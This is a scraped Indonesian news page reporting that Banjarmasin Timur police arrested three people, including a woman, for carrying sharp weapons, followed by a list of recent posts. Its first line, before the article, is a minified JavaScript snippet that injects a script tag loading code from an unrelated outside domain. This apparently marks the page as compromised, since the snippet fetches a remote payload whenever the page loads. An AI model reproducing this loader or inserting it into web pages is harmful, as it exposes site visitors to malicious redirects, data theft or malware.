(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Tiga Pembawa Sajam Diamankan Polisi, Salah Satunya Perempuan


BANJARMASIN, Menekan angka kriminalitas di jalanan, Polsek Banjarmasin Timur gencar melakukan operasi cipta kondisi (Cipkon) di wilayah hukumnya.

Tiga orang diamankan karena kedapatan membawa senjata tajam (Sajam) tanpa izin. Pertama, Polsek Banjarmasin Timur mengamankan seorang pria MST (30) di kawasan jalan Banua Anyar, Kecamatan Banjarmasin Timur, Selasa (19/11). Dari pelaku petugas mengamankan senjata tajam jenis samurai lengkap dengan sarungnya.

“Sajam tersebut diselipkan di bagian belakang celana pelaku dan ditutup dengan kaos,” ujar Kapolsek Banjarmasin Timur Kompol HM Uskiansyah melalui Kanit Reskrim Iptu Timur Yono, Senin (2/12).

Kemudian pada (28/11) sekitar pukul 21.00 Wita jajaran Polsek Banjar Timur juga mengamankan seorang pelaku yang kedapatan membawa Sajam jenis pisau di halan Manggis atau tepatnya di depan Pasar Batuah. Menariknya, pelaku merupakan seorang perempuan, SM (24) warga Komplek Lutfia Kelurahan Sungai Sipai, Kabupaten Banjar.

“Sajam bersarung lilitan kertas yang dilakban tersebut kita temukan di dalam tas sandang yang di bawa pelaku,” ujar Iptu Timur.

Hanya berselang sehari, petugas kembali mengamankan seorang pria yang membawa Sajam jenis pisau di kawasan jalan Veteran Simpang Pengambangan, Gang Ubah, Kecamatan Banjarmasin Timur. Saat diciduk, pelaku sempat membuang Sajam tersebut. Namun beruntung petugas cukup jeli hingga mampu memergoki tindakan pelaku. Setelah diintrogasi petugas pelaku akhirnya mengakui Sajam tersebut adalah miliknya.

Iptu Timur menegaskan, gencarnya cipkon yang dilakukan pihaknya merupakan instruksi dari pimpinan agar perkelahian, pembunuhan maupun tindak kekerasan lain tidak terjadi, khususnya di kawasan Banjarmasin Timur. “Kita terus giatkan sebagaimana intruksi dari pimpinan, baik itu siang maupun malam hari,” tegas Iptu Timur.

Ia pun mengimbau warga untuk tidak membawa Sajam, baik untuk alasan menjaga diri atau alasan apapun. “Kita juga terus beri imbauan kepada masyarakat. Tapi kalau masih nekat membawa Sajam, maka jangan salahkan kami jika bertindak tegas,” pungkasnya.

Seluruh pelaku yang sudah dinamakan dikenakan Pasal 2 ayat 1 Undang-undang Darurat Nomor 13 Tahun 1951 Tentang tanpa hak membawa senjata. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.